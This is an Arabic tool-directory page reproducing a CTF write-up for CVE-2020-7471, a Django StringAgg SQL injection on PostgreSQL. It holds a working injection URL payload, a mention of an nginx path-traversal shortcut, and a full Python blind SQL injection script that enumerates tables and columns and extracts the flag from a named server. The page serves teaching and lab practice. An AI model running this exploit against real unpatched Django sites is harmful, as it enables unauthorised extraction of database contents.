Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CTF_CVE-2020-7471 — تحدٍ من نوع CTF يستغل CVE-2020-7471، وهي ثغرة حقن SQL في Django في دالة StringAgg الخاصة بـ PostgreSQL، مع شرح كامل ونص برمجي للاستغلال. | Kitploit
أدوات/GitHubGitHub/tempuss/ctf_cve-2020-7471
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubtempuss/ctf_cve-2020-7471

CTF_CVE-2020-7471

تحدٍ من نوع CTF يستغل CVE-2020-7471، وهي ثغرة حقن SQL في Django في دالة StringAgg الخاصة بـ PostgreSQL، مع شرح كامل ونص برمجي للاستغلال.

عرض المستودع
منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

DOBBY_IS_FREE!

  • CTF المطروح: 2020 Christmas CTF
  • المجال: WEB
  • الكلمة المفتاحية: DOBBY_IS_FREE!
  • درجة الصعوبة: ★★★☆☆

الخلفية

بما أن مخترقي الويب يدرسون عادةً SQL Injection على MySQL، فقد صنعت هذا التحدي باستخدام PostgreSQL ليعطيه تجربة الهجوم على قواعد بيانات مختلفة.

الحل

الحل المقصود

  • نظرًا لأن الثغرة حدثت في خدمة Django، فقد أضفت رأسًا مخصصًا باسم Version في استجابة HTTP لعرض إصدارات Django و Postgres لإعطاء تلميح. عند البحث عن ثغرة SQL Injection في الإصدار Django 3.0.1 توجد كودات PoC منشورة. استجابة الرأس المخصص

  • عند الوصول إلى الموقع، يتم عرض قائمة المقالات. قائمة المقالات

  • عند النقر على الرقم الأيسر، يتم عرض المقالة بناءً على قيمتي pk و content الخاصة بها. مقالة

  • الكود الخلفي الفعلي:

root@kitploit:~
results = Blog.objects.filter(pk=blog_id, content__contains=content).values('title').annotate(
    custom_field=StringAgg('content', delimiter=content)).all()

دالة StringAgg تقوم بدمج السلاسل مع فاصل وترجعها. نظرًا لعدم وجود التحقق من صحة الإدخال على content، يمكن إدخال حمولة الحقن في ذلك الجزء.

root@kitploit:~
http:///vul/1/?content=-\\\\') AS "mydefinedname" FROM "vul_blog" WHERE 1=1 AND case when (SELECT length(string_agg(vul_flag.flag, '')) FROM vul_flag) < 500 then true else false end GROUP BY "vul_blog"."title" LIMIT 1 offset 1 --

حلول المخترقين الفعلية

  • ثغرة Path Traversal بسبب خطأ في إعداد خادم nginx. بعد الوصول إلى الرابط http://118.67.135.137/static../ يصبح من الممكن الوصول إلى جميع الملفات داخل الخادم، وبالتالي قراءة ملف dump احتياطي والحصول على العلم.

الثغرة

CVE-2020-7471

  • ثغرة SQL Injection تم اكتشافها في إصدارات Django 1.11 و 2.2 و 3.0.x ≤ 3.0.2.
  • ثغرة حدثت بسبب عدم كفاية التحقق من المعاملات في الكود المتعلق بدالة StringAgg في PostgreSQL.

الاستغلال

  • فيما يلي كود الاستغلال.
root@kitploit:~
import requests

server = "http://118.67.135.137/post/"

id = 1
content_param = f"/?content="
content = "IS_FREE!"



def exists_check(content):
    """دالة للتحقق من الاستجابة"""
    if "title" in str(content):
        return True
    else:
        return False



headers = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "Cache-Control": "no-cache",
    "Connection": "keep-alive",
    "Host": "127.0.0.1:8000",
    "Pragma": "no-cache",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}

def get_table_info_from_information_schema():
    # استعلام عن عدد الجداول
    table_count = 0
    table_count_get = False
    while table_count_get is False:
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27)%20<=%20{table_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""

        table_count = table_count + 1
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            table_count = table_count - 1
            table_count_get = True


    # استخراج قائمة الجداول
    table_row_list = []
    # حلقة بعدد جداول public
    for table_row in range(0,table_count):
        # استعلام عن طول اسم الجدول
        for table_name_size in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break
        # حلقة بحجم اسم الجدول
        table_name = ""
        for i in range(0,table_name_size):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(table_name)%20as%20cnt%20FROM%20information_schema.tables%20WHERE%20table_schema=%27public%27%20offset%20{table_row}%20limit%201),%20{i},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    table_name = table_name+str(chr(ascii))
                    break
        table_row_list.append(table_name)

    print(table_row_list)

def get_column_info_from_information_schema():
    vul_flag_column_count = 0
    table_count_get = False
    while table_count_get is False:
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20count(*)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27)%20<=%20{vul_flag_column_count}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""

        #time.sleep(1)
        vul_flag_column_count = vul_flag_column_count + 1
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            vul_flag_column_count = vul_flag_column_count - 1
            table_count_get = True

    column_name_list = []
    for i in range(0,vul_flag_column_count):
        # استعلام عن طول اسم الجدول
        for table_name_size in range(0,50):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20length((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201)))%20<=%20{table_name_size}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                break

        # استعلام عن اسم عمود جدول vul_flag
        column_name = ""
        for j in range(1,table_name_size+1):
            for ascii in range(0,128):
                payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(column_name)%20as%20cnt%20FROM%20information_schema.columns%20WHERE%20table_name=%27vul_flag%27%20offset%20{i}%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
                url = f"{server}{id}{content_param}{payload}"
                resp = requests.get(url=url, headers=headers)
                if exists_check(resp.content):
                    column_name = column_name+str(chr(ascii))
                    break
        column_name_list.append(column_name)

    print(column_name_list)

def get_flag_from_flag_table():
    for flag_length in range(0,50):
        payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(SELECT%20length(string_agg(vul_flag.flag,%20%27%27))%20FROM%20vul_flag)%20<=%20{flag_length}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
        url = f"{server}{id}{content_param}{payload}"
        resp = requests.get(url=url, headers=headers)
        if exists_check(resp.content):
            break

    flag = ""
    for j in range(1,flag_length+1):
        for ascii in range(0,128):
            payload = f"""-\\>%27)%20AS%20"mydefinedname"%20FROM%20"vul_blog"%20WHERE%201=1%20AND%20case%20when%20(select%20ascii(substring((SELECT%20(flag)%20as%20cnt%20FROM%20vul_flag%20offset%200%20limit%201),%20{j},1)))%20<=%20{ascii}%20then%20true%20else%20false%20end%20%20GROUP%20BY%20"vul_blog"."title"%20LIMIT%201%20offset%201%20--"""
            url = f"{server}{id}{content_param}{payload}"
            resp = requests.get(url=url, headers=headers)
            if exists_check(resp.content):
                flag = flag+str(chr(ascii))
                break
    print(flag)

# استخراج معلومات الجداول من Information Schema
#get_table_info_from_information_schema()

# بعد معرفة اسم الجدول، استخراج معلومات الأعمدة من information_schema
#get_column_info_from_information_schema()

# استخراج قيمة العلم بناءً على معلومات الأعمدة
get_flag_from_flag_table()

  • فيما يلي نتيجة التنفيذ.
root@kitploit:~
D033Y_!S_L0N3LY

طريقة تشغيل الخدمة


  1. بناء صورة Docker
root@kitploit:~
make build
  1. تشغيل صورة Docker
root@kitploit:~
make up
  1. التحقق من موقع الويب
  • 127.0.0.1.

المراجع

Poc CVE-2020-7471 Django Security Django Offical Document Django Release History

تنزيل الأداة